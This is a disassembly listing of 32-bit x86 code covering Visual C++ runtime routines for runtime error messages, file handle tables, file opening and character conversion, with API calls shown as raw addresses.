		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 2620AB5h
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		call	near ptr 2620000h
		nop


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2620000h


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26108C0h
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2670859h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F09D7h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		call	near ptr 26202CBh
		nop
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 26508ACh


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2670859h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2820000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2820000h
		nop
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600000h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		call	near ptr 281102Fh
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
